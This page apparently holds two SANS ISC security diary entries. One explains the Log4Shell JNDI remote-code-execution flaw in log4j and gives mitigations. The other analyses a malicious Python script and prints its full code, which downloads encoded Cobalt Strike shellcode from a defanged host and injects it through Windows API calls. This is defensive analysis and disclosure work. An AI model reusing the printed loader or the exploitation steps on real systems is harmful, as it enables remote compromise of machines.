RCE in log4j, Log4Shell, or how things can get bad quickly
If you have been following developments on Twitter and various other security sources, by now you have undoubtedly heard about the latest vulnerability in the very popular Apache log4j library.
log4j is a very popular logging package for Java. It is very powerful and flexible and, even from my own experience, is used in almost every Java application that I have ever encountered. No wonder, it allows you to just create an instance of the log4j class and then easily use it for logging, based on provided configuration parameters (typically set in the log4j.properties file).
Yesterday a PoC for a Remote Code Execution vulnerability in log4j was published. The exploit is actually unbelievably simple – which makes it very, very scary at the same time.
The vulnerability is in the JNDI lookup feature of the log4j library. While the background around this is very complex, exploitation actually is not (as you will see below in couple redacted screenshots).
The JNDI lookup feature of log4j allows variables to be retrieved via JNDI - Java Naming and Directory Interface. This is an API that that provides naming and directory functionality to Java applications. While there are many possibilities, the log4j one supports (AFAIK) LDAP and RMI (Remote Method Invocation).
In other words, when a new log entry is being created, and log4j encounters a JNDI reference, it will actually literally go to the supplied resource and fetch whatever it needs to fetch in order to resolve the required variable. And in this process, it might even download remote classes and execute them!
Below is a simple initial PoC that demonstrates how the vulnerability can be exploited:
As you can see above, in order to initially exploit the vulnerability, an attacker just needs to literally supply the JNDI reference (the text you can see in the source code). When that input gets logged by log4j, it will parse the text, see the reference and try to resolve it. And this is where the problem really is.
Depending on the JNDI reference, the log4j library will now either perform an LDAP query or an RMI query to the target URL. This is where an attacker can use the marshalsec package by Moritz Bechler, available at https://github.com/mbechler/marshalsec
This package supports, among other things JNDI reference indirection – it allows an attacker to setup a server that will accept the incoming JNDI lookup (either LDAP or RMI) and then automatically create a redirection that will point the client (in our case the log4j library) to the target codebase. The library will then follow the redirection and visit the codebase server (which is accessed over the HTTP protocol), fetch a class that is served there and execute it! Scary.
The figure below shows the marshalsec package created a JNDI reference indirection server using the RMI protocol (to use a different one than the PoC). You can see that a client accessed the server and was redirected to a remote classloading stub where the final class is waiting to be executed.
This final class is just a simple Java class that can execute anything that an attacker wishes to execute – here’s an example for the LDAP reference that will execute netcat to send a shell back to the attacker:
And really it is that simple (provided you can juggle your way around Java).
Now, you might wonder what is the impact of this? The one important thing to be aware of here is that *any application* that uses a vulnerable log4j version is affected. It does not matter if this is a server side application, or a client side application (!!!) – as long as it reads some input from an attacker, and passes that to the log4 library, there is an exploitation path, which means that even client side applications are potentially affected (and fixing might take months :/).
Since the cat is out of the bag, and due to exploitation being relatively simple, we would suggest that you try to apply one of the workarounds as soon as possible:
- A new log4j library has been released, version 2.15.0 that fixes the vulnerability. This is, of course, the best fix, but it might require recompilation and redistribution of packages
- If you are using version 2.10.0 you can set a property called formatMsgNoLookups to true to prevent lookups. This can be passed as a parameter too.
- For older versions you will need to modify logging patterns as specified here: https://issues.apache.org/jira/browse/LOG4J2-2109
Since the exploit requires the affected server/client to reach out to another server (that will supply the JNDI reference) on the Internet, the following actions can be performed:
- As always, block any outgoing traffic that is not required. If you have a server running a Java application that only needs to accept incoming traffic, prevent everything outgoing.
- If you do any traffic inspection, check for LDAP and RMI protocols.
Finally, as my fellow handler @xme noticed – this is already being exploited as part of a User Agent header:
I presume that these (simple) attackers are observing posted PoC exploits where one demo used the User Agent field, but we should stress out that *absolutely any input field* that is controlled by an attacker, and passed to the log4j library can lead to remote code execution.
[Update #1]
Based on the activity already captured by our honeypots and the amount of information about the vulnerability, we discussed and reviewed the InfoCon rubrik[1]. We decided to switch to the "Yellow" level until the situation will be clearer. Many vendors still have to investigate and fix the problem in their applications/systems.
Xavier
Python Shellcode Injection From JSON Data
My hunting rules detected a niece piece of Python code. It's interesting to see how the code is simple, not deeply obfuscated, and with a very low VT score: 2/56![1]. I see more and more malicious Python code targeting the Windows environments. Thanks to the library ctypes[2], Python is able to use any native API calls provided by DLLs.
The script is very simple, so here is the full code:
import ctypes,urllib3,base64,json try: b=eval t=bytearray u=len A=json.loads H=base64.b64decode P=urllib3.PoolManager q=ctypes.pointer M=ctypes.c_char D=ctypes.c_int f=ctypes.c_uint64 F=ctypes.windll y={'Content-Type':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) ',"Origin":'hxxps://txtpad[.]cn',} I="hxxps://a6[.]qikekeji[.]com/txt/data/detail/?txt_name=1231" n=A(A(P().request('GET',I,headers=y).data.decode(encoding='UTF-8'))['data']['txt_content'])[0]['content'] U=b(H(n).decode('utf-8')) U=t(U) F.kernel32.VirtualAlloc.restype=f e=F.kernel32.VirtualAlloc(D(0),D(u(U)),D(0x3000),D(0x40)) X=(M*u(U)).from_buffer(U) F.kernel32.RtlMoveMemory(f(e),X,D(u(U))) k=F.kernel32.CreateThread(D(0),D(0),f(e),D(0),D(0),q(D(0))) F.kernel32.WaitForSingleObject(D(k),D(-1)) except Exception as e: print(e)
Note the strange HTTP header "Content-Type
" that contains a User-Agent!?
If you're familiar with code injection in Windows, you can quickly spot the magic combination of classic API calls:
- kernel32.VirtualAlloc (with the "0x40")
- kernel32.RtlMoveMemory
- kernel32.CreateThread
- kernel32.WaitForSingleObject
The shellcode is downloaded from a website and, based on the references to "json.loads
" and "b64decode
", we can guess that it's hidden in a JSON structure. When you visit the URL, you get this data back (beautified):
{ "status":1,"data": { "v_id":"c74fc1d6e42edcf7faf94eb82b55367a", "txt_name":"1231", "txt_id":"b50422211e7a5b75acc9aaed927de394", "txt_content":" [{\"title\":\"YiJceGZjXHg0OFx4ODNc\", \"content\":\"YiJceGZjXHg0OFx4 ... Content Removed ... NFx4NTNceGU1XHhmZlx4ZDVceDQ4XHg5M 1x4NTNceDUzXHg0OFx4ODlceGU3XHg0OFx4ODlceGYxXHg0OFx4ODlceGRhXHg0MVx4YjhceDA wXHgyMFx4MDBceDAwXHg0OVx4ODlceGY5XHg0MVx4YmFceDEyXHg5Nlx4ODlceGUyXHhmZlx4Z DVceDQ4XHg4M1x4YzRceDIwXHg4NVx4YzBceDc0XHhiNlx4NjZceDhiXHgwN1x4NDhceDAxXHh jM1x4ODVceGMwXHg3NVx4ZDdceDU4XHg1OFx4NThceDQ4XHgwNVx4MDBceDAwXHgwMFx4MDBce DUwXHhjM1x4ZThceDlmXHhmZFx4ZmZceGZmXHgzMVx4MzVceDMwXHgyZVx4MzFceDM1XHgzOFx 4MmVceDMzXHgzOVx4MmVceDMyXHgzMVx4MzVceDAwXHgxOVx4NjlceGEwXHg4ZCI=\" } ]", "read_count":134, "report_count":0 }, "req_id":"de4d1b3c08f459508760" }
The "content
" variable contains the shellcode. It is extracted and injected.
Note that the shellcode is Base64-encoded but also hex-encoded. The shellcode phones home to http://150[.]158[.]39[.]215/x9Ic (a classic Cobalt Strike[3]).
[1] https://www.virustotal.com/gui/file/a848d43eae6518569edb17158a9a127167051266dd406acbb963d1330a9ffefc/detection
[2] https://docs.python.org/3/library/ctypes.html
[3] https://isc.sans.edu/forums/diary/Finding+Metasploit+Cobalt+Strike+URLs/27204/
Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key
Comments